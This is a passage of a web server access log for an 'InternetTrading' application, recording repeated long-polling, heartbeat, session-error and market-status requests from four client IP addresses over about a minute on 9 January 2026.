[09/Jan/2026:11:16:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928862361 HTTP/1.1" -
[09/Jan/2026:11:16:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928865028 HTTP/1.1" -
[09/Jan/2026:11:16:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928867800 HTTP/1.1" -
[09/Jan/2026:11:16:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928880281 HTTP/1.1" -
[09/Jan/2026:11:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928867449 HTTP/1.1" -
[09/Jan/2026:11:16:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928870054 HTTP/1.1" -
[09/Jan/2026:11:16:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928872934 HTTP/1.1" -
[09/Jan/2026:11:16:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928885341 HTTP/1.1" -
[09/Jan/2026:11:16:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928872548 HTTP/1.1" -
[09/Jan/2026:11:16:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928875110 HTTP/1.1" -
[09/Jan/2026:11:16:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928878059 HTTP/1.1" -
[09/Jan/2026:11:16:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928890362 HTTP/1.1" -
[09/Jan/2026:11:16:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928877612 HTTP/1.1" -
[09/Jan/2026:11:16:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928880162 HTTP/1.1" -
[09/Jan/2026:11:16:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928883195 HTTP/1.1" -
[09/Jan/2026:11:16:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928895429 HTTP/1.1" -
[09/Jan/2026:11:16:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:16:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928882638 HTTP/1.1" -
[09/Jan/2026:11:16:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928885187 HTTP/1.1" -
[09/Jan/2026:11:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928888232 HTTP/1.1" -
[09/Jan/2026:11:16:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928900485 HTTP/1.1" -
[09/Jan/2026:11:16:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:16:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928887661 HTTP/1.1" -
[09/Jan/2026:11:17:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928890224 HTTP/1.1" -
[09/Jan/2026:11:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928893350 HTTP/1.1" -
[09/Jan/2026:11:17:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928905557 HTTP/1.1" -
[09/Jan/2026:11:17:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928892764 HTTP/1.1" -
[09/Jan/2026:11:17:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928895256 HTTP/1.1" -
[09/Jan/2026:11:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928898472 HTTP/1.1" -
[09/Jan/2026:11:17:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928910612 HTTP/1.1" -
[09/Jan/2026:11:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928897830 HTTP/1.1" -
[09/Jan/2026:11:17:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928900296 HTTP/1.1" -
[09/Jan/2026:11:17:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928915675 HTTP/1.1" -
[09/Jan/2026:11:17:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928903596 HTTP/1.1" -
[09/Jan/2026:11:17:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928902882 HTTP/1.1" -
[09/Jan/2026:11:17:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928905333 HTTP/1.1" -
[09/Jan/2026:11:17:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928920699 HTTP/1.1" -
[09/Jan/2026:11:17:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928908738 HTTP/1.1" -
[09/Jan/2026:11:17:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928907906 HTTP/1.1" -
[09/Jan/2026:11:17:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928910349 HTTP/1.1" -
[09/Jan/2026:11:17:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928925731 HTTP/1.1" -
[09/Jan/2026:11:17:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928913870 HTTP/1.1" -
[09/Jan/2026:11:17:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928912949 HTTP/1.1" -
[09/Jan/2026:11:17:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928915371 HTTP/1.1" -
[09/Jan/2026:11:17:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928930761 HTTP/1.1" -
[09/Jan/2026:11:17:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928918920 HTTP/1.1" -
[09/Jan/2026:11:17:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928917977 HTTP/1.1" -
[09/Jan/2026:11:17:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928920422 HTTP/1.1" -
[09/Jan/2026:11:17:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928935784 HTTP/1.1" -
[09/Jan/2026:11:17:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928924094 HTTP/1.1" -
[09/Jan/2026:11:17:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928923040 HTTP/1.1" -
[09/Jan/2026:11:17:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928925456 HTTP/1.1" -
[09/Jan/2026:11:17:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928940846 HTTP/1.1" -
[09/Jan/2026:11:17:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928929228 HTTP/1.1" -
[09/Jan/2026:11:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:17:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928928105 HTTP/1.1" -
[09/Jan/2026:11:17:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928930499 HTTP/1.1" -
[09/Jan/2026:11:17:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928945875 HTTP/1.1" -
[09/Jan/2026:11:17:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928934382 HTTP/1.1" -
[09/Jan/2026:11:17:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928933171 HTTP/1.1" -
